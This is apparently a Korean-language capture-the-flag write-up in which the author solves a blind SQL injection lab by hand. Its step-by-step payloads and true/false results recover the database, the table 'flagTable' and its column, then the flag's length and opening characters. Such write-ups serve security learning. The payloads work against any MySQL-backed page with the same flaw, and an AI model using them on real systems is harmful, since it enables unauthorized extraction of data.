목차
0. 회고
- Blind SQL Injection은 로그인 페이지, 아이디 중복 체크 등 결과가 참과 거짓으로 나눠질 때 사용한다.
- 사실상 가장 마지막에 쓰이는 공격으로, SQL Query문을 입력할 수 있다면 사용 가능하다.
- 글자를 하나하나 밝혀가는 것으로, 자동화하지 않은 경우 상당한 노가다를 해야 한다.
???: 한 번은 직접 손으로 풀어봐라
???: 네
그래서 사용한 코드와 결과를 일일히 적어놓았기 때문에 긴 글이 될 것이다.
첫 부분만 결과를 사진으로 첨부하고 그 후로는 '존재하는 아이디입니다'는 O로, '존재하지 않는 아이디입니다'는 X로 표현하겠다.
Blind SQL Injection
1. START
- normaltic
- normaltic’ #
- normaltic’ and ‘1’ = ‘1’ #
- normaltic’ and ‘1’ = ‘2’ #
- normaltic’ and (‘1’ = ‘1’) and ‘1’ = ‘1’ #
- normaltic’ and (‘1’ = ‘1’) and ‘1’ = ‘2’ #
- normaltic’ and (select ‘test’ = ‘test’) and ‘1’ = ‘1’ #
2. DATABASE
2.1. 이름 글자수 확인
char_length(string)
: 주어진 string의 글자수를 반환한다.
- normaltic’ and ((char_length(database())) > 10) # -> X
- normaltic’ and ((char_length(database())) < 6) # -> X
- normaltic’ and ((char_length(database())) < 10) # -> O
- normaltic’ and ((char_length(database())) < 8) # -> X
- normaltic’ and ((char_length(database())) = 9) # -> O
-> 😭 아… 9번…
2.2. 이름 확인
SUBSTR(string, start, length)
: 주어진 string을 start 위치부터 length개를 잘라 반환한다.ASCII(character)
: 글자 하나에 ASCII 값을 반환한다. ASCII CODE 범위는 0 ~ 127이다.- 이 두 함수를 이용해 글자를 하나하나 잘라서 ASCII 코드로 변환한다. 그 후 이진탐색을 통해 그 값을 찾을 것이다.
- 모든 글자를 다 찾기는 너무나도 귀찮으니 하나씩 건너띄면서 확인하고 남은 건 예측했다.
- normaltic’ and (ascii(substr((select database()), 1, 1)) > 63) # -> O
- normaltic’ and (ascii(substr((select database()), 1, 1)) > 95) # -> O
- normaltic’ and (ascii(substr((select database()), 1, 1)) > 111) # -> X
- normaltic’ and (ascii(substr((select database()), 1, 1)) > 103) # -> X
- normaltic’ and (ascii(substr((select database()), 1, 1)) > 99) # -> X
- normaltic’ and (ascii(substr((select database()), 1, 1)) > 97) # -> O
- normaltic’ and (ascii(substr((select database()), 1, 1)) = 98) # -> O
-> 찾은 글자: bxx xxx xxx
-> 예측한 글자: bxx xxx xxx
- normaltic’ and (ascii(substr((select database()), 3, 1)) > 64) # -> O
- normaltic’ and (ascii(substr((select database()), 3, 1)) > 96) # -> O
- normaltic’ and (ascii(substr((select database()), 3, 1)) > 112) # -> X
- normaltic’ and (ascii(substr((select database()), 3, 1)) > 104) # -> O
- normaltic’ and (ascii(substr((select database()), 3, 1)) > 108) # -> X
- normaltic’ and (ascii(substr((select database()), 3, 1)) > 106) # -> X
- normaltic’ and (ascii(substr((select database()), 3, 1)) > 105) # -> X
- normaltic’ and (ascii(substr((select database()), 3, 1)) = 105) # -> O
-> 찾은 글자: bxi xxx xxx
-> 예측한 글자: bxi xxx xxx
- normaltic’ and (ascii(substr((select database()), 5, 1)) > 64) # -> O
- normaltic’ and (ascii(substr((select database()), 5, 1)) > 96) # -> O
- normaltic’ and (ascii(substr((select database()), 5, 1)) > 112) # -> X
- normaltic’ and (ascii(substr((select database()), 5, 1)) > 104) # -> X
- normaltic’ and (ascii(substr((select database()), 5, 1)) > 100) # -> X
- normaltic’ and (ascii(substr((select database()), 5, 1)) > 98) # -> O
- normaltic’ and (ascii(substr((select database()), 5, 1)) = 99) # -> X
- normaltic’ and (ascii(substr((select database()), 5, 1)) = 100) # -> O
-> 찾은 글자: bxi xdx xxx
-> 예측한 글자: blind xxxx
- normaltic’ and (ascii(substr((select database()), 7, 1)) > 64) # -> O
- normaltic’ and (ascii(substr((select database()), 7, 1)) > 96) # -> O
- normaltic’ and (ascii(substr((select database()), 7, 1)) > 112) # -> O
- normaltic’ and (ascii(substr((select database()), 7, 1)) > 120) # -> X
- normaltic’ and (ascii(substr((select database()), 7, 1)) > 116) # -> X
- normaltic’ and (ascii(substr((select database()), 7, 1)) > 114) # -> X
- normaltic’ and (ascii(substr((select database()), 7, 1)) > 113) # -> X
- normaltic’ and (ascii(substr((select database()), 7, 1)) = 113) # -> O
-> 찾은 글자: bxi xdx qxx
-> 예측한 글자: blind sqlx
- normaltic’ and (ascii(substr((select database()), 9, 1)) > 64) # -> O
- normaltic’ and (ascii(substr((select database()), 9, 1)) > 96) # -> O
- normaltic’ and (ascii(substr((select database()), 9, 1)) > 112) # -> X
- normaltic’ and (ascii(substr((select database()), 9, 1)) > 104) # -> O
- normaltic’ and (ascii(substr((select database()), 9, 1)) > 108) # -> X
- normaltic’ and (ascii(substr((select database()), 9, 1)) > 106) # -> X
- normaltic’ and (ascii(substr((select database()), 9, 1)) > 105) # -> X
- normaltic’ and (ascii(substr((select database()), 9, 1)) = 105) # -> O
-> 찾은 글자: bxi xdx qxi
-> 예측한 글자: blind sqli -> s가 대문자일 수도 있어
- normaltic’ and (ascii(substr((select database()), 6, 1)) > 64) # -> O
- normaltic’ and (ascii(substr((select database()), 6, 1)) > 96) # -> X
- normaltic’ and (ascii(substr((select database()), 6, 1)) > 80) # -> O
- normaltic’ and (ascii(substr((select database()), 6, 1)) > 88) # -> X
- normaltic’ and (ascii(substr((select database()), 6, 1)) > 84) # -> X
- normaltic’ and (ascii(substr((select database()), 6, 1)) > 82) # -> O
- normaltic’ and (ascii(substr((select database()), 6, 1)) > 83) # -> X
- normaltic’ and (ascii(substr((select database()), 6, 1)) = 83) # -> O
-> 찾은 글자: bxixdSqxi
-> 예측한 글자: blindSqli
3. TABLE
3.1. 개수 확인
COUNT(expression)
: select문의 결과 row 개수를 반환한다.
- normaltic’ and ((select count(table_name) from information_schema.tables where table_schema = ‘blindSqli’) < 5) # -> O
- normaltic’ and ((select count(table_name) from information_schema.tables where table_schema = ‘blindSqli’) < 3) # -> X
- normaltic’ and ((select count(table_name) from information_schema.tables where table_schema = ‘blindSqli’) < 4) # -> O
-> 3개
3.2. 이름 글자수 확인
3.2.1. 1번째 table
- normaltic’ and ((char_length((select table_name from information_schema.tables where table_schema = ‘blindSqli’ limit 0, 1))) < 10) # -> O
- normaltic’ and ((char_length((select table_name from information_schema.tables where table_schema = ‘blindSqli’ limit 0, 1))) < 5) # -> X
- normaltic’ and ((char_length((select table_name from information_schema.tables where table_schema = ‘blindSqli’ limit 0, 1))) < 7) # -> X
- normaltic’ and ((char_length((select table_name from information_schema.tables where table_schema = ‘blindSqli’ limit 0, 1))) < 8) # -> X
- normaltic’ and ((char_length((select table_name from information_schema.tables where table_schema = ‘blindSqli’ limit 0, 1))) = 9) # -> O
-> 😭 아… 9개…
-> 🤔 혹시 flagTable일까?
3.2.2. 2번째 table
- normaltic’ and ((char_length((select table_name from information_schema.tables where table_schema = ‘blindSqli’ limit 1, 1))) < 10) # -> O
- normaltic’ and ((char_length((select table_name from information_schema.tables where table_schema = ‘blindSqli’ limit 1, 1))) < 5) # -> X
- normaltic’ and ((char_length((select table_name from information_schema.tables where table_schema = ‘blindSqli’ limit 1, 1))) < 7) # -> O
- normaltic’ and ((char_length((select table_name from information_schema.tables where table_schema = ‘blindSqli’ limit 1, 1))) < 6) # -> X
- normaltic’ and ((char_length((select table_name from information_schema.tables where table_schema = ‘blindSqli’ limit 1, 1))) = 6) # -> O
-> 😶 6개
-> 🤔 얘는 member?
3.2.3. 3번째 table
- normaltic’ and ((char_length((select table_name from information_schema.tables where table_schema = ‘blindSqli’ limit 2, 1))) < 10) # -> X
- normaltic’ and ((char_length((select table_name from information_schema.tables where table_schema = ‘blindSqli’ limit 2, 1))) < 20) # -> O
- normaltic’ and ((char_length((select table_name from information_schema.tables where table_schema = ‘blindSqli’ limit 2, 1))) < 15) # -> O
- normaltic’ and ((char_length((select table_name from information_schema.tables where table_schema = ‘blindSqli’ limit 2, 1))) < 13) # -> X
- normaltic’ and ((char_length((select table_name from information_schema.tables where table_schema = ‘blindSqli’ limit 2, 1))) < 14) # -> X
- normaltic’ and ((char_length((select table_name from information_schema.tables where table_schema = ‘blindSqli’ limit 2, 1))) = 14) # -> O
-> 😱 14개…
-> 🤔 혹시 plusflagtable일까?
3.3. 이름 확인
3.3.1. 1번째 table
- 예측한 table 이름이 맞나 확인해보겠다
- normaltic’ and (ascii(substr(((select table_name from information_schema.tables where table_schema = ‘blindSqli’ limit 0, 1)), 1, 1)) = 102) # -> O
-> 찾은 글자: fxxx xxxxx
-> 예측한 글자: flagTable - normaltic’ and (ascii(substr(((select table_name from information_schema.tables where table_schema = ‘blindSqli’ limit 0, 1)), 5, 1)) = 84) # -> O
-> 찾은 글자: fxxx Txxxx
-> 예측한 글자: flagTable - normaltic’ and (ascii(substr(((select table_name from information_schema.tables where table_schema = ‘blindSqli’ limit 0, 1)), 3, 1)) = 97) # -> O
-> 찾은 글자: fxax Txxxx
-> 예측한 글자: flagTable - normaltic’ and (ascii(substr(((select table_name from information_schema.tables where table_schema = ‘blindSqli’ limit 0, 1)), 6, 1)) = 97) # -> O
-> 찾은 글자: fxax Taxxx
-> 예측한 글자: flagTable - normaltic’ and (ascii(substr(((select table_name from information_schema.tables where table_schema = ‘blindSqli’ limit 0, 1)), 9, 1)) = 101) # -> O
-> 찾은 글자: fxax Taxxe
-> 예측한 글자: flagTable - normaltic’ and (ascii(substr(((select table_name from information_schema.tables where table_schema = ‘blindSqli’ limit 0, 1)), 2, 1)) = 108) # -> O
-> 찾은 글자: flax Taxxe
-> 예측한 글자: flagTable - normaltic’ and (ascii(substr(((select table_name from information_schema.tables where table_schema = ‘blindSqli’ limit 0, 1)), 8, 1)) = 108) # -> O
-> 찾은 글자: flax Taxle
-> 예측한 글자: flagTable
4. COLUMN
4.1. 개수 확인
- normaltic’ and ((select count(column_name) from information_schema.columns where table_name = ‘flagTable’) < 5) # -> O
- normaltic’ and ((select count(column_name) from information_schema.columns where table_name = ‘flagTable’) < 3) # -> O
- normaltic’ and ((select count(column_name) from information_schema.columns where table_name = ‘flagTable’) < 2) # -> X
- normaltic’ and ((select count(column_name) from information_schema.columns where table_name = ‘flagTable’) = 2) # -> O
4.2. 글자수 확인
4.2.1. 1번째
- normaltic’ and ((char_length((select column_name from information_schema.columns where table_name = ‘flagTable’ limit 0, 1))) < 10) # -> O
- normaltic’ and ((char_length((select column_name from information_schema.columns where table_name = ‘flagTable’ limit 0, 1))) < 5) # -> O
- normaltic’ and ((char_length((select column_name from information_schema.columns where table_name = ‘flagTable’ limit 0, 1))) < 3) # -> X
- normaltic’ and ((char_length((select column_name from information_schema.columns where table_name = ‘flagTable’ limit 0, 1))) = 4) # -> X
- normaltic’ and ((char_length((select column_name from information_schema.columns where table_name = ‘flagTable’ limit 0, 1))) = 3) # -> X
-> 🤔 혹시 idx?
4.2.2. 2번째
- normaltic’ and ((char_length((select column_name from information_schema.columns where table_name = ‘flagTable’ limit 1, 1))) < 10) # -> O
- normaltic’ and ((char_length((select column_name from information_schema.columns where table_name = ‘flagTable’ limit 1, 1))) < 5) # -> O
- normaltic’ and ((char_length((select column_name from information_schema.columns where table_name = ‘flagTable’ limit 1, 1))) < 3) # -> X
- normaltic’ and ((char_length((select column_name from information_schema.columns where table_name = ‘flagTable’ limit 1, 1))) = 4) # -> O
-> 🤔 혹시 flag
4.3. 이름 확인
4.3.2. 2번째
- normaltic’ and (ascii(substr(((select column_name from information_schema.columns where table_name = ‘flagTable’ limit 1, 1)), 1, 1)) = 102) # -> O
-> 찾은 글자: fxxx
-> 예측한 글자: flag - normaltic’ and (ascii(substr(((select column_name from information_schema.columns where table_name = ‘flagTable’ limit 1, 1)), 2, 1)) = 108) # -> O
-> 찾은 글자: flxx
-> 예측한 글자: flag - normaltic’ and (ascii(substr(((select column_name from information_schema.columns where table_name = ‘flagTable’ limit 1, 1)), 3, 1)) = 97) # -> O
-> 찾은 글자: flax
-> 예측한 글자: flag - normaltic’ and (ascii(substr(((select column_name from information_schema.columns where table_name = ‘flagTable’ limit 1, 1)), 4, 1)) = 103) # -> O
-> 찾은 글자: flag
-> 예측한 글자: flag
5. DATA
5.1. 개수 확인
- normaltic’ and ((select count(flag) from flagTable) < 5) # -> O
- normaltic’ and ((select count(flag) from flagTable) < 3) # -> O
- normaltic’ and ((select count(flag) from flagTable) < 2) # -> O
- normaltic’ and ((select count(flag) from flagTable) = 1) # -> O
-> 🥰 1개!!!
5.2. 글자수 확인
- normaltic’ and ((char_length((select flag from flagTable))) > 10) # -> O
- normaltic’ and ((char_length((select flag from flagTable))) > 20) # -> O
- normaltic’ and ((char_length((select flag from flagTable))) > 30) # -> O
- normaltic’ and ((char_length((select flag from flagTable))) > 40) # -> X
- normaltic’ and ((char_length((select flag from flagTable))) > 35) # -> X
- normaltic’ and ((char_length((select flag from flagTable))) > 32) # -> O
- normaltic’ and ((char_length((select flag from flagTable))) > 34) # -> X
- normaltic’ and ((char_length((select flag from flagTable))) > 33) # -> X
- normaltic’ and ((char_length((select flag from flagTable))) = 33) # -> O
-> 😇 33개요…??
5.3. 이름 확인
- 요것도 예측해서 반복 횟수를 줄일 수 있었다.
- 예측 결과가 그대로 flag랑 이어지기 때문에 생략하겠다.
- normaltic’ and (ascii(substr(((select flag from flagTable)), 1, 1)) = 115) # -> O
-> 찾은 글자: sxxxx xxxxx xxxxx xxxxx xxxxx xxxxx x - normaltic’ and (ascii(substr(((select flag from flagTable)), 9, 1)) = 123) # -> O
-> 찾은 글자: sxxxx xxx{x xxxxx xxxxx xxxxx xxxxx x - normaltic’ and (ascii(substr(((select flag from flagTable)), 33, 1)) = 125) # -> O
-> 찾은 글자: sxxxx xxx{x xxxxx xxxxx xxxxx xxxxx xx}